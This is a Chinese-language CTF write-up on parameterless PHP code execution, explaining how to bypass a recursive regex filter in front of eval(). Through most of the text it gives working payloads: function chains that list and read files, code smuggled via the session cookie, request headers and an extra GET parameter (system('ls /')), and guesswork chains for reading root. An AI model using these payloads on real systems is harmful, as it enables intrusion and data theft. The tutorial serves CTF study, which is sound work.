无参数RCE题目特征
1 2 3
| if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { eval($_GET['star']); }
|
正则表达式 [^\W]+\((?R)?\)
匹配了一个或多个非标点符号字符(简单来说匹配函数名)后跟的一个括号(表示函数调用)。其中 (?R)
是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。所以说经过正则表达式匹配后,每个函数都会被删除,最终只剩一个;,而题目中最终的要求也是强等于一个;,才能进行下面的eval(),简而言之来说就是要使用不带参数的函数
所以就需要找到能够查看目录文件的函数并且不带参数
1 2
| scandir()可以使用里面不含参数 scandir('1')不可以使用,里面含有参数1,无法被替换删除
|
介绍以下相关payload需要的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换) localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大) current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西 getcwd() :取得当前工作目录 dirname():函数返回路径中的目录部分 array_flip() :交换数组中的键和值,成功时返回交换后的数组 array_rand() :从数组中随机取出一个或多个单元 array_reverse():将数组内容反转 strrev():用于反转给定字符串 getcwd():获取当前工作目录路径 dirname() :函数返回路径中的目录部分。 chdir() :函数改变当前的目录。 eval()、assert():命令执行 hightlight_file()、show_source()、readfile():读取文件内容
|
举一个例子关于scandir()函数的使用:
scandir(‘.’)是返回当前目录,就可以靠localeconv() 返回的数组第一个就是‘.’,current()取第一个值,那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看当前目录下文件的payload:
1
| ?参数=var_dump(scandir(current(localeconv())));
|
数组移动操作:
1 2 3 4 5
| end() : 将内部指针指向数组中的最后一个元素,并输出 next() :将内部指针指向数组中的下一个元素,并输出 prev() :将内部指针指向数组中的上一个元素,并输出 reset() : 将内部指针指向数组中的第一个元素,并输出 each() : 返回当前元素的键名和键值,并将内部指针向前移动
|
方法一:scandir() 最常规的通解
一道例题BuuCTF [GXYCTF2019]禁止套娃
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } }
?>
|
最终的payload:
1
| exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
|
接下来逐个分析payload的构成:
1、var_dump(localeconv());可以看见第一个string[1]就是一个“.”,这个点是由localeconv()产生的
2、利用current()
函数将这个点取出来的,‘.’
代表的是当前目录,那接下来就很好理解了,我们可以利用这个点完成遍历目录的操作,相当于就是linux
中的ls
指令
3、既然current()取第一个值,那么current(localeconv())构造一个'.'
,而'.'
表示当前目录,scandir('.')
将返回当前目录中的文件和子目录,这里我们得知flag所在的文件名就是flag.php
4、然而flag的文件名在比较后端我们可以通过array_reverse()将数组内容反转,让它从倒数第二的位置变成正数第二
5、移动指针读取第二个数组,参照下列数组移动操作可知我们应选用next()函数:
1 2 3 4 5
| end() : 将内部指针指向数组中的最后一个元素,并输出 next() :将内部指针指向数组中的下一个元素,并输出 prev() :将内部指针指向数组中的上一个元素,并输出 reset() : 将内部指针指向数组中的第一个元素,并输出 each() : 返回当前元素的键名和键值,并将内部指针向前移动
|
6、最后用highlight_file()返回文件内容
使用最多最灵活的一个函数,可以构造出不同用法,这里直接引用了别人的payload:
1 2 3 4 5 6 7 8 9
| highlight_file(array_rand(array_flip(scandir(getcwd())))); print_r(scandir(dirname(getcwd()))); print_r(scandir(next(scandir(getcwd())))); show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd()))))))))))); show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))))); show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));
|
方法二:session_id()
使用条件:当请求头中有cookie时(或者走投无路手动添加cookie头也行,有些CTF题不会卡)
首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现
法一:hex2bin()
我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值
以下是十六进制编码脚本:
1 2 3 4
| <?php $encoded = bin2hex("phpinfo();"); echo $encoded; ?>
|
得到phpinfo();的十六进制编码,即706870696e666f28293b
那么payload就可以是:
1
| ?参数=eval(hex2bin(session_id(session_start())));
|
同时更改cookie后的值为想执行的命令的十六进制编码
法二:读文件
例题依然是[GXYCTF2019]禁止套娃,在知道文件名为flag.php的情况下直接读文件
如果已知文件名,把文件名写在PHPSESSID后面,构造payload为:
1
| readfile(session_id(session_start()));
|
getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)
当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:
1
| var_dump(end(getallheaders()));
|
借用别人的图演示:
sky是自己添加的请求头, end()指向最后一行的sky后的代码,达到phpinfo的目的,然后可以进一步去rce。
方法四:get_defined_vars()
相较于getallheaders()更加具有普遍性,它可以回显全局变量$_GET、$_POST、$_FILES、$_COOKIE,
返回数组顺序为$_GET–>$_POST–>$_COOKIE–>$_FILES
首先确认是否有回显:
1
| print_r(get_defined_vars());
|
假如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:
1
| a=eval(end(current(get_defined_vars())));&b=system('ls /');
|
把eval换成assert也行 ,能执行system(‘ls /‘)就行
方法五:chdir()&array_rand()赌狗读文件
实在无法rce,可以考虑目录遍历进行文件读取
利用getcwd()
获取当前目录:
结合dirname()列出当前工作目录的父目录中的所有文件和目录:
1
| var_dump(scandir(dirname(getcwd())));
|
读上一级文件名:
1 2 3 4 5
| ?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
|
读根目录:
ord() 函数和 chr() 函数:只能对第一个字符进行转码,ord() 编码,chr)解码,有概率会解码出斜杠读取根目录
1
| ?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
|
要用chdir()固定,payload:
1
| ?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));
|
通过bp的intruder模块来读到根目录:
文章参考了:
https://blog.csdn.net/2301_76690905/article/details/133808536